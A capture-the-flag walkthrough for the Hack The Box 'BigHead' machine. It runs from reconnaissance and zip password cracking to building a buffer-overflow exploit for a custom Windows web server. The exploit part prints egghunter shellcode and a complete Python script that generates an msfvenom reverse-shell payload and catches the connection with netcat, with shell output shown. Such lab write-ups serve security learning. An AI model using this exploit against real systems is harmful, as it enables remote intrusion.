BigHead Walkthrough - by ȜӎŗgͷͼȜ

This is a walk-through of the BigHead Challenge created for Hack The Box by ȜӎŗgͷͼȜ. This guide shows how it was intended that people may be able to complete this challenge.
Contents:
- Introduction
- Scanning For Open Ports
- Enumerating The Webserver
- Accessing The Application
- Developing An Exploit
- Enumeration Of Internal Environment
- Elevation Of Privileges To Nginx User
- Deeper Enumeration Of Internal Environment
- Elevation Of Privileges To System
- The User Hash At Last!
- Winner Winner Chicken Dinner!
Scanning For Open Ports
To begin, we can use nmap
to do a full port range scan for any open ports/services of BigHead.htb
[email protected]:~# nmap -p- bighead.htb --open
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-22 18:56 BST
Nmap scan report for bighead.htb (172.16.0.7)
Host is up (0.00023s latency).
Not shown: 65534 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
MAC Address: 08:00:27:A5:41:12 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 107.12 seconds
We have discovered 1 open port that looks like http.
So, now we can scan it in more detail.
Port 80 (http)
[email protected]:~# nmap -p 80 bighead.htb -A
Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-22 18:58 BST
Nmap scan report for bighead.htb (172.16.0.7)
Host is up (0.00033s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0
|_http-server-header: nginx/1.14.0
|_http-title: PiperNet Comes
MAC Address: 08:00:27:A5:41:12 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS details: Microsoft Windows Server 2008 or 2008 Beta 3, Microsoft Windows Server 2008 R2 or Windows 8.1,
Microsoft Windows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0,
Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1,
or Windows Server 2008
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.33 ms bighead.htb (172.16.0.7)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.75 seconds
Not much to go off so far apart from finding out its Nginx 1.14.0 and the OS is likely to be some flavor of Microsoft Windows.
Visiting the site, we find that it’s a company blog containing info about the team and the latest cryptocurrency tech they are developing.

Web Directory Enumeration (http)
However if we go on to use burp
, we are able to play around with the site until we find an interesting sub domain that calls what looks like a php emailer script perhaps.

Investigation of the script doesn’t lead us anywhere useful, apart from indicating that the site is using sub-domains for internal resources.
We’ll keep that in mind, but for now do some more enumeration of the main site domain.
[email protected]:~# gobuster -t 100 -l -x htm,html,php,txt -u http://bighead.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://bighead.htb/
[+] Threads : 100
[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes : 204,301,302,307,200
[+] Show length : true
[+] Extensions : .htm,.html,.php,.txt
=====================================================
/Images (Status: 301)
/Index.html (Status: 200) [Size: 11137]
/assets (Status: 301)
/backend (Status: 302)
/backend.htm (Status: 302)
/backend.html (Status: 302)
/backend.php (Status: 302)
/backend.txt (Status: 302)
/images (Status: 301)
/index.html (Status: 200) [Size: 11137]
/updatecheck (Status: 302)
/updatecheck.htm (Status: 302)
/updatecheck.html (Status: 302)
/updatecheck.php (Status: 302)
/updatecheck.txt (Status: 302)
=====================================================
So, we now see two interesting HTTP 302 Redirect responses happening…
lets use curl
to investigate where the redirects are trying to send us.
[email protected]:~# curl -I http://bighead.htb/backend
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.14.0
Date: Mon, 27 Aug 2018 13:58:57 GMT
Content-Type: text/html
Content-Length: 161
Location: http://bighead.htb/BigHead
Connection: keep-alive
[email protected]:~# curl -I http://bighead.htb/BigHead
HTTP/1.1 404 Not Found
Server: nginx/1.14.0
Date: Mon, 27 Aug 2018 13:59:07 GMT
Content-Type: text/html
Content-Length: 541
Connection: keep-alive
ETag: "5b413361-21d"
[email protected]:~#
We found a reference to a “/backend” directory called “BigHead” that gives a HTTP 404 Not Found response. Maybe it’s a clue we’re looking for something called “BigHead” running on a backend server of some kind behind the Nginx Reverse Proxy?
lets see where ”/updatecheck” sends us…
[email protected]:~# curl -I http://bighead.htb/updatecheck
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.14.0
Date: Mon, 27 Aug 2018 14:03:48 GMT
Content-Type: text/html
Content-Length: 161
Connection: keep-alive
Location: http://code.bighead.htb/phpmyadmin/phpinfo.php
[email protected]:~# curl -I http://code.bighead.htb/phpmyadmin/phpinfo.php
HTTP/1.1 200 OK
Server: nginx/1.14.0
Date: Mon, 27 Aug 2018 14:04:03 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.36
OK, another sub-domain and a redirect to a phpinfo page.

Now we know the php version and Windows system build info: Windows NT PIEDPIPER 6.0 build 6002 (Windows Server 2008 Web Server Edition Service Pack 2) i586 & PHP Version 5.6.36
I’m sure this might come in handy later. Also interesting is the favicon image in the top left corner of the browser tab. The header says Nginx/1.14.0, but that favicon is the default for Bitnami XAMPP. Again, more key info that could be of use later.
We also see a reference to phpmyadmin
Seeing as we got a new sub-domain called “http://code.bighead.htb/" let’s scan it’s directory structure.
[email protected]:~# gobuster -t 100 -l -x htm,html,php,txt -u http://code.bighead.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://code.bighead.htb/
[+] Threads : 100
[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Status codes : 200,204,301,302,307
[+] Show length : true
[+] Extensions : .htm,.html,.php,.txt
=====================================================
/Index.html (Status: 200) [Size: 612]
/Images (Status: 301)
/applications.html (Status: 200) [Size: 4961]
/assets (Status: 301)
/dashboard (Status: 301)
/dev (Status: 301)
/favicon.ico (Status: 200) [Size: 30894]
/images (Status: 301)
/img (Status: 301)
/index (Status: 302)
... (extra output removed here!)
/licenses (Status: 301)
/mail (Status: 301)
/phpmyadmin (Status: 301)
/server-info (Status: 200) [Size: 106388]
/server-status (Status: 200) [Size: 27206]
/sendmail.php (Status: 200) [Size: 3496]
/webalizer (Status: 301)
/xampp (Status: 301)
=====================================================
Some good info here… lets take a look at ”/applications.html”

And we find a page with some promising links, leading to a broken phpmyadmin page, a phpinfo page that gives a HTTP 404 Error revealing a server banner of: Apache/2.4.33 (Win32) OpenSSL/1.0.2o PHP/5.6.36.
But we do find an interesting link to a Bitnami TestLink application installed on a back-end Bitnami XAMPP server. And… when we visit the link we are greeted with a misconfigured javascript redirector in the response.

But replacing the hostname and port for the correct value allows us to visit the testlink application login page.

But, again things seem broken. However, we are able to see a nice path disclosure and debug message and again gather a bit more insight into how the backend services are configured.
Anyway, lets enumerate the ”/testlink” directory also.
[email protected]:~# gobuster -t 100 -l -x htm,html,php,txt -u http://code.bighead.htb/testlink/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://code.bighead.htb/testlink/
[+] Threads : 100
[+] Wordlist : /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Status codes : 200,204,301,302,307
[+] Show length : true
[+] Extensions : .htm,.html,.php,.txt
=====================================================
/ChangeLog (Status: 200) [Size: 306612]
/LICENSE (Status: 200) [Size: 18009]
/Logs (Status: 301)
/Index (Status: 200) [Size: 136]
/Index.php (Status: 200) [Size: 136]
/Login (Status: 200) [Size: 15951]
/Login.php (Status: 200) [Size: 15951]
/cfg (Status: 301)
/changelog (Status: 200) [Size: 306612]
/error (Status: 200) [Size: 2748]
/extra (Status: 301)
/error.php (Status: 200) [Size: 2748]
/gui (Status: 301)
/index (Status: 200) [Size: 136]
/index.php (Status: 200) [Size: 136]
/index.php (Status: 200) [Size: 136]
/lib (Status: 301)
/license (Status: 200) [Size: 18009]
/logs (Status: 301)
/login (Status: 200) [Size: 15951]
/logout (Status: 200) [Size: 18681]
/logout.php (Status: 200) [Size: 18681]
/login.php (Status: 200) [Size: 15951]
/note (Status: 200) [Size: 218]
/note.txt (Status: 200) [Size: 218]
/plugins (Status: 301)
/plugin (Status: 200) [Size: 932]
/plugin.php (Status: 200) [Size: 932]
=====================================================
”/note.txt” looks promising…
[email protected]:~# curl http://code.bighead.htb/testlink/note.txt
BIGHEAD! You F%*#ing R*#@*d!
STAY IN YOUR OWN DEV SUB!!!...
You have literally broken the code testing app and tools I spent all night building for Richard!
I don't want to see you in my code again!
Dinesh.
So it seems “BigHead” (aka. Nelson) has borked the backend. Dinesh indicates in his note that Bighead has his own development sub-domain. So, lets try to find it by fuzzing the Host Header…
[email protected]:~# wfuzz -c -w /usr/share/sublist3r/subbrute/names.txt --hh 11175 -u http://20.20.20.45/ -H "Host: FUZZ.bighead.htb"
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer *
********************************************************
Target: http://20.20.20.45/
Total requests: 129408
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000022: C=200 1 L 3 W 13456 Ch "dev"
000484: C=302 7 L 10 W 161 Ch "mailer"
000710: C=302 0 L 0 W 0 Ch "code"
Ha, “dev” has been found, so let’s have a look.

Look, there he is… sitting gormless as ever!!
Let’s dir scan him too…
Hmmnn… wfuzz and gobuster seem to cause the server to hang for some reason. Maybe relevant later if it’s causing a crash perhaps.
Anyway, a basic dirb scan should be gentle enough.
[email protected]:~# dirb http://dev.bighead.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Aug 27 22:39:04 2018
URL_BASE: http://dev.bighead.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://dev.bighead.htb/ ----
+ http://dev.bighead.htb/blog (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_ajax (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_inlinemod (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_report (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_search (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blog_usercp (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blogger (CODE:302|SIZE:161)
+ http://dev.bighead.htb/bloggers (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blogindex (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blogs (CODE:302|SIZE:161)
+ http://dev.bighead.htb/blogspot (CODE:302|SIZE:161)
+ http://dev.bighead.htb/coffee (CODE:418|SIZE:46)
+ http://dev.bighead.htb/wp-content (CODE:302|SIZE:161)
-----------------
END_TIME: Mon Aug 27 22:39:08 2018
DOWNLOADED: 4612 - FOUND: 13
Checking the results in a browser and viewing the responses in the firefox network monitor tool we see there is a redirect recursion going on. Clearly this guy doesn’t know what he’s doing…
Also noteworthy is the strange 418 Http Error Code. A quick Google search reveals this is an easter egg written into the http specification as an April fools joke in RFC 2324. Let’s take a look at the page it responds with.

Interestingly we get a different server header response for the nginx/1.14.0 one. Now we see Server: BigheadWebSvr 1.0 when the error is returned,& an animated gif of an “I’m A Teapot” Error and a hint to do some Gooling perhaps…

Accessing The Application
lets do a web search for “BigheadWebSvr 1.0”.

We get a single result for a Github Repo hosting what looks like a backup zip file of the BigheadWebSvr.

So let’s download and unzip the BHWS_Backup.zip archive.

It seems to be password protected. Lets try to crack the password using john the ripper.
[email protected]:~# zip2john BHWS_Backup.zip > BHWS_Backup.zip.hash
BHWS_Backup.zip->BHWS_Backup/ is not encrypted!
BHWS_Backup.zip->BHWS_Backup/conf/ is not encrypted!
[email protected]:~# cat BHWS_Backup.zip.hash
BHWS_Backup.zip:$zip2$*0*3*0*231ffea3729caa2f37a865b0dca373d7*d63f*49*61c6e7d2949fb22573c57dec460346954bba23dffb11f1204d4a6bc10e91b4559a6b984884fcb376ea1e2925b127b5f6721c4ef486c481738b94f08ac09df30c30d2ae3eb8032c586f*28c1b9eb8b0e1769b4d3*$/zip2$:::::BHWS_Backup.zip
[email protected]:~# john BHWS_Backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:05:31 5.47% (ETA: 01:27:12) 0g/s 2699p/s 2699c/s 2699C/s kibbles5..kibalover1
0g 0:00:07:11 7.15% (ETA: 01:26:44) 0g/s 2702p/s 2702c/s 2702C/s whitesox24..whitesox13
0g 0:00:09:39 9.82% (ETA: 01:24:36) 0g/s 2704p/s 2704c/s 2704C/s lizmon..lizmer
......
Unfortunately the cracking attempt seems to fail.
however, thinking back to the Github Repo, we saw there had been 4 commits to the project. Maybe a previous commit will allow us to extract the files? lets investigate the commits a bit more.



We see that since the initial commit there have been 3 commits that are interesting.
It seems that the latest version has been encrypted with a password by Gilfoyle. Also, in the commit before that, it has been commented as having been a bug fix. However, 0 file changes were detected when it was uploaded.
Downloading the version committed on Jul 3, 2018, we re-attempt to crack the password.
[email protected]:~# john BHWS_Backup.zip.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bighead (BHWS_Backup.zip)
1g 0:00:00:01 DONE (2018-08-28 00:47) 0.5405g/s 2317p/s 2317c/s 2317C/s bighead..mercado
Use the "--show" option to display all of the cracked passwords reliably
Session completed
“bighead” is the password, and we are able to extract a Windows PE32 executable and dll along with some conf files.
[email protected]:~/BHWS_Backup# ls -alR
.:
total 92
drwx------ 3 root root 4096 Jul 3 00:56 .
drwxr-xr-x 44 root root 4096 Aug 28 00:47 ..
-rw-r--r-- 1 root root 28540 Jul 2 21:33 bHeadSvr.dll
-rw-r--r-- 1 root root 51431 Jul 2 21:33 BigheadWebSvr.exe
drwx------ 2 root root 4096 Jul 3 00:57 conf
./conf:
total 52
drwx------ 2 root root 4096 Jul 3 00:57 .
drwx------ 3 root root 4096 Jul 3 00:56 ..
-rw-r--r-- 1 root root 1103 Jun 23 16:50 fastcgi.conf
-rw-r--r-- 1 root root 1032 Jun 23 16:50 fastcgi_params
-rw-r--r-- 1 root root 2946 Jun 23 16:50 koi-utf
-rw-r--r-- 1 root root 2326 Jun 23 16:50 koi-win
-rw-r--r-- 1 root root 5265 Jun 23 16:50 mime.types
-rw-r--r-- 1 root root 4523 Jul 2 20:34 nginx.conf
-rw-r--r-- 1 root root 653 Jun 23 16:50 scgi_params
-rw-r--r-- 1 root root 681 Jun 23 16:50 uwsgi_params
-rw-r--r-- 1 root root 3736 Jun 23 16:50 win-utf
[email protected]:~/BHWS_Backup# file BigheadWebSvr.exe bHeadSvr.dll
BigheadWebSvr.exe: PE32 executable (console) Intel 80386, for MS Windows
bHeadSvr.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows
We can test BigHeadWebSvr.exe using wine. This will simulate it running on a Windows 7 host in order for us to quickly test the application before building an accurate replica of the target if we find we need to.
[email protected]:~/BHWS_Backup# wine BigheadWebSvr.exe
0009:err:module:import_dll Library libmingwex-0.dll (which is needed by L"Z:\\root\\BHWS_Backup\\BigheadWebSvr.exe") not found
0009:err:module:attach_dlls Importing dlls for L"Z:\\root\\BHWS_Backup\\BigheadWebSvr.exe" failed, status c0000135
But after investigating the application we see there is still a dll called libmingwex-0.dll missing. A quick Google for it and we find out that it’s part of the MinGW - Minimalist GNU for Windows project.

Downloading just the required archive file of libmingwex-5.0.2-mingw32-dll-0.tar.xz will hopefully allow us to run the BigHeadWebSvr.exe application and test it out.
[email protected]:~/BHWS_Backup# tar -xvf libmingwex-5.0.2-mingw32-dll-0.tar.xz
bin/
bin/libmingwex-0.dll
[email protected]:~/BHWS_Backup# mv bin/libmingwex-0.dll .
[email protected]:~/BHWS_Backup# ls
bHeadSvr.dll BigheadWebSvr.exe bin conf libmingwex-0.dll libmingwex-5.0.2-mingw32-dll-0.tar.xz
[email protected]:~/BHWS_Backup# wine BigheadWebSvr.exe
Starting BigheadWebSvr version 1.0
Called essential function dll version 1.00
This is vulnerable software!
Do not allow access from untrusted systems or networks!
Waiting for client connections...
It seems to run and be the version we want… let’s see what port it runs on.
[email protected]:~/BHWS_Backup# netstat -pantl|grep BigheadWebSvr
tcp 0 0 0.0.0.0:8008 0.0.0.0:* LISTEN 21735/BigheadWebSvr
[email protected]:~/BHWS_Backup# curl -I http://127.0.0.1:8008/
HTTP/1.1 200 OK
Date: Sat, 23 Jun 2018 14:37:16 GMT
Server: BigheadWebSvr 1.0
Content-Length: 13456
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
So it looks like we now have a working copy of the same backend web application as is running on the target server.
Interestingly, the application binds to TCP port 8008 but on the target server it is reachable via TCP port 80. This indicates the front end http server is set up as a reverse proxy as we suspected earlier.
Also, looking at the “conf/nginx.conf” file we downloaded from Github we can see all sorts of redirects and request proxying is configured.
[email protected]:~/dev/BHWS_Backup# cat conf/nginx.conf
#user nobody;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
...
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
#gzip on;
server {
listen 80;
server_name localhost;
# adds gzip options
gzip on;
gzip_types text/css text/plain text/xml application/xml application/javascript application/x-javascript text/javascript application/json text/x-json;
gzip_proxied no-store no-cache private expired auth;
#gzip_min_length 1000;
gzip_disable "MSIE [1-6]\.";
#charset koi8-r;
#access_log logs/host.access.log main;
location / {
# Backend server to forward requests to/from
proxy_pass http://127.0.0.1:8008;
proxy_cache_convert_head off;
proxy_cache_key $scheme$proxy_host$request_uri$request_method;
proxy_http_version 1.1;
# adds gzip
gzip_static on;
}
location /blog {
rewrite /blog /piedpiper/ redirect;
}
location /piedpiper {
root html/;
index index.html;
}
location /dev {
rewrite /dev /testlink/ redirect;
}
location /testlink/ {
# Backend server to forward requests to/from
proxy_pass http://127.0.0.1:5080;
proxy_cache_key $scheme$proxy_host$request_uri$request_method;
proxy_http_version 1.1;
# adds gzip
gzip_static on;
}
location /backend {
rewrite /backend /BigHead/ redirect;
}
location /coffee {
# Backend server to forward requests to/from
#rewrite /coffee /teapot/ redirect;
#return 418;
proxy_pass http://127.0.0.1:8008;
proxy_cache_convert_head off;
proxy_intercept_errors off;
proxy_cache_key $scheme$proxy_host$request_uri$request_method;
proxy_http_version 1.1;
proxy_pass_header Server;
# adds gzip
gzip_static on;
}
location /teapot {
root html/;
index index.html;
#return 418;
}
location ~ .(png|gif|ico|jpg|jpeg)$ {
root html/img/;
index index.html;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root html;
}
...
location ~ /\.ht {
deny all;
}
}
...
}
For now though we just want to inspect how the application works. so we don’t need to set up nginx for testing.
Playing around with the curl requests we can cause the application to crash if we use the HTTP HEAD request method! Hmnn… Send it a BIG HEAD!? perhaps :D No wonder the directory scanning tools were crashing the backend application on the target.
Let’s see what wee can do…
[email protected]:~/BHWS_Backup# curl --head http://127.0.0.1:8008/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
… and if we send it a string of A’s we see it caused a buffer overflow and overwrites the EAX & EDX Registers

Developing An Exploit
Now we have the application, and we know the target windows system information we can download the corresponding windows installation image and build a replica of the target to carry out our exploit dev.
A bit of Google foo and some digging around the web will lead us to the corresponding windows image file for Windows Server 2008 Web Server SP2 x86 related to the info we have. However, Microsoft seem to have made this outdated version unavailable to general web users.
Luckily, There is still an old related Windows Server 2008 x86 180 Day Evaluation iso publicly available from the Microsoft Downloads Page
ISO:6001.18000.080118-1840_x86fre_Server_en-us-KRMSFRE_EN_DVD.iso
Once downloaded, we can create a Windows Server 2008 VM and install the BigHeadWebSvr.exe application and associated dll files, and set up a debug environment to start developing an exploit.
Then once we have the a server set up, we need to install a debugger. Immunity Debugger along with the mona.py PyCommand addon should be suitable for this purpose.

Using mona.py we can check and see if any Safe SEH or ASLR protections are enabled for any of the files we are investigating.

Lucky for us, all protections are disabled.
Step 1 Find The Buffer Offset To Overwrite The EIP Register
A simple curl command with a bit of python will help us quickly prototype an exploit buffer and position our code to overwrite the EIP register.
[email protected]:~/dev/bof/steps# curl --head \
http://192.168.56.101:8008/$(python -c 'print(("A"*72)+("B"*8))')

And viewing the hex dump of where the registers are now pointing to we can see the EAX register points to the address at the start of the buffer of 72 x A’s.

Step 2 Overwrite EIP With A JMP EAX Instruction
Good, that means now we just need to find a JMP EAX instruction to replace the string of 8 x B’s in our request path. Then we can overwrite EIP with that value and jump to the start of the buffer.
The search menu in Immunity will allow us to search through all JMP EAX instructions until we find a good one to try.

A suitable JMP EAX address of 64552F19 can be found in the libmingwex-0.dll file that doesn’t contain any NULL bytes that might break our exploit.
so, let’s use that…

After searching for the address string of 64552F19, selecting it, and then hitting F2 to set a breakpoint; we can replace the string of 8 x B’s with 192F5564 (the address in little endian format) in our curl request in order to see if we can jump to the start of the buffer.
[email protected]:~/dev/bof/steps# curl --head \
http://192.168.56.101:8008/$(python -c 'print(("A"*72)+("192F5564"))')

Great, we see the breakpoint is hit. By pressing F7, code execution jumps to the start of the buffer,

Step 3 Injecting An EggHunter Shellcode
As can be seen, we have a pretty small executable buffer size of only 36 Bytes in which to inject a shellcode. Luckily, a 32 Byte EggHunter will just fit into this small space and allow us to execute a memory scanning loop that will search for a string in memory. Then when it finds it, execute the shellcode immediately following that string.
Here’s one i made earlier…
[email protected]:~# xxd 3gghunt3r
00000000: 6681 caff 0f42 526a 0258 cd2e 3c05 5a74 f....BRj.X..<.Zt
00000010: efb8 336d 6733 8bfa af75 eaaf 75e7 ffe7 ..3mg3...u..u...
[email protected]:~# xxd -p -c 32 3gghunt3r
6681caff0f42526a0258cd2e3c055a74efb8336d67338bfaaf75eaaf75e7ffe7
[email protected]:~# disasm 6681CAFF0F42526A0258CD2E3C055A74EFB8336D67338BFAAF75EAAF75E7FFE7
0: 66 81 ca ff 0f or dx, 0xfff
5: 42 inc edx
6: 52 push edx
7: 6a 02 push 0x2
9: 58 pop eax
a: cd 2e int 0x2e
c: 3c 05 cmp al, 0x5
e: 5a pop edx
f: 74 ef je 0x0
11: b8 33 6d 67 33 mov eax, 0x33676d33 <-- Egg of 3mg3
16: 8b fa mov edi, edx
18: af scas eax, DWORD PTR es:[edi]
19: 75 ea jne 0x5
1b: af scas eax, DWORD PTR es:[edi]
1c: 75 e7 jne 0x5
1e: ff e7 jmp edi
So if we send that string of hex instructions as the first part of the buffer, as long as there are no bad chars we should see the egghunter successfully injected in the CPU Thread window in the debugger.
[email protected]:~/dev/bof/steps# curl --head \
http://192.168.56.101:8008/$(python -c 'print(("6681CAFF0F42526A0258CD2E3C055A74EFB8336D67338BFAAF75EAAF75E7FFE7")+("A"*8)+("192F5564"))')

Thankfully, all the instructions are correctly represented and we are able to successfully execute the shellcode.
So, this is all well and good, but we want to get a reverse shell. So lets look at now putting it all together into a python script and running a reverse shell payload by injecting it into memory before catching and running it with the egghunter.
Step 4 Injecting A RevShell Payload Into Memory
With the help of Python Requests and a bit of work, we can knock together a nice little reverse shell exploit.
Here, I have decided to send an initial POST request containing a TCP reverse shell payload as a chunk of post data.
Also, with the help of Python Subprocess i can generate a payload on the fly using msfvenom, and also set up a netcat listener to wait for the incoming connection.
I also included http proxy settings so we can see the payload and exploit requests in Burp Suite
bigHeadButt.py
#!/usr/bin/python
import sys, subprocess, requests
from requests import Request, Session
banner = (
"[+] Useage: %s <rhost> <rport> <lhost> <lport>"%sys.argv[0]
)
if __name__ == '__main__':
try:
rhost = sys.argv[1]
rport = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
except IndexError:
print(banner)
sys.exit(-1)
urlpath = ("http://" + rhost + ":" + str(rport) + "/")
hdrs = {'User-Agent': '3mrgnc3'}
proxy = {'http': 'http://127.0.0.1:8080'}
lstner = ("nc -s " + lhost + " -nvlp " + str(lport))
mksh = (# Auto Generate Reverse Shell Payload Using msfvenom
"msfvenom -p windows/shell_reverse_tcp" +
" -e x86/shikata_ga_nai" +
" EXITFUNC=thread" +
" -v RevShell" +
" LHOST=" + lhost +
" LPORT=" + lport +
" -f python" +
" -a x86" +
" -o RevPld.py"
)
try:
print("[+] Attempting To Generate Reverse Shell Payload ...")
vnm = subprocess.Popen(mksh.split(), stdout=subprocess.PIPE)
vnm.wait()
print("[+] Reverse Shell Payload Generated Successfully...")
except:
print("[!] ERROR: Couldn't Generate Payload")
sys.exit(-1)
from RevPld import RevShell
shl = (# Prepends a string of 3mg33mg3
("3mg3" * 2) +
# Insert msfvenom revshell payload
RevShell
)
egh = (# EggHunter Shellcode
"6681CAFF0F42526A" # 32 byte EggHunter, with egg of '3mg3'
"0258CD2E3C055A74" # This will scan through mem address space
"EFB8336D67338BFA" # and try to match the string "3mg33mg3",
"AF75EAAF75E7FFE7" # then execute the shellcode that follows it.
)
buf = (# Place the EggHunter at the start of the buffer.
egh +
# EIP Overwrite Buffer
("A" * ((72) - len(egh))) +
# 64552F19 JMP EAX
# From Module Name=C:\MinGW\bin\libmingwex-0.dll
"192F5564"
)
sploit = (urlpath + buf)
print("[+] Sending evil HTTP request to BigHeadWebSvr 1.0")
try: # Prepare POST content body so it won't URL Encode the shellcode data.
s = Session()
payload={'5h377':shl}
r = Request('POST', urlpath, data=payload, headers=hdrs)
prepped = r.prepare()
prepped.body = shl
del prepped.headers['Content-Type']
# Send The Egg RevShell Payload as a POST Request data
resp = s.send(prepped, proxies=proxy, timeout=0.01)
print(resp.status_code)
except:
print("[+] Shell Payload Sent...")
try:
# Send the HEAD METHOD BOF Exploit
r = requests.head(sploit, headers=hdrs, timeout=0.01, proxies=proxy)
except:
print("[+] Exploit Sent!")
try:
# Start a netcat listener and wait for the incoming connection
print("[+] Listening for reverse shell")
ncl = subprocess.Popen(lstner, shell=True)
ncl.poll()
ncl.wait()
except:
print("\r[!] Shell Terminated!")
exit(0)
So let’s test it out against the sploit dev server…
[email protected]:~/dev/bof/steps# ./bigHeadButt.py 192.168.56.101 8008 192.168.56.10 7034
[+] Attempting To Generate Reverse Shell Payload ...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
Saved as: RevPld.py
[+] Reverse Shell Payload Generated Successfully...
[+] Sending evil HTTP request to BigHeadWebSvr 1.0
[+] Shell Payload Sent...
[+] Exploit Sent!
[+] Listening for reverse shell
listening on [192.168.56.10] 7034 ...
connect to [192.168.56.10] from (UNKNOWN) [192.168.56.101] 51609
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\Desktop\SploitDev>
Looking in the HTTP History tab in Burp Suite we see how the reverse shell payload that was auto generated by msfvenom was successfully sent in the initial POST Request

Then we see the HEAD Request containing the exploit string sent immediately after that.

Awesome… :D
Step 5Getting A Reverse Shell
Now we just need to confirm it works against the BigHead target server.
After playing around with different egress ports, we find most are blocked. But, both tcp port 80 & 53 are allowing outbound traffic. So using one of those we can try to establish a stable shell.
[email protected]:~/dev/bof/steps# ./bigHeadButt.py dev.bighead.htb 80 192.168.56.10 53
[+] Attempting To Generate Reverse Shell Payload ...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1869 bytes
Saved as: RevPld.py
[+] Reverse Shell Payload Generated Successfully...
[+] Sending evil HTTP request to BigHeadWebSvr 1.0
[+] Shell Payload Sent...
[+] Exploit Sent!
[+] Listening for reverse shell
listening on [192.168.56.10] 53 ...
connect to [192.168.56.10] from (UNKNOWN) [20.20.20.45] 49159
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\nginx>whoami
whoami
piedpiper\nelson
C:\nginx>
Great, after waiting around 5-10 minutes and grabbing a coffee, I come back to find I have a shell as Nelson waiting for me! :D.
Let’s grab the user.txt hash! :D
C:\nginx>type C:\Users\Nelson\Desktop\user.txt
type C:\Users\Nelson\Desktop\user.txt
.-''-. .-------. .---. .-./`) _______ .---. .---.
.'_ _ \ | _ _ \ | ,_| \ .-.') / __ \ | | |_ _|
/ ( ` ) '| ( ' ) | ,-./ ) / `-' \ | ,_/ \__) | | ( ' )
. (_ o _) ||(_ o _) / \ '_ '`) `-'`"`,-./ ) | '-(_{;}_)
| (_,_)___|| (_,_).' __ > (_) ) .---. \ '_ '`) | (_,_)
' \ .---.| |\ \ | |( . .-' | | > (_) ) __ | _ _--. |
\ `-' /| | \ `' / `-'`-'|___ | | ( . .-'_/ )|( ' ) | |
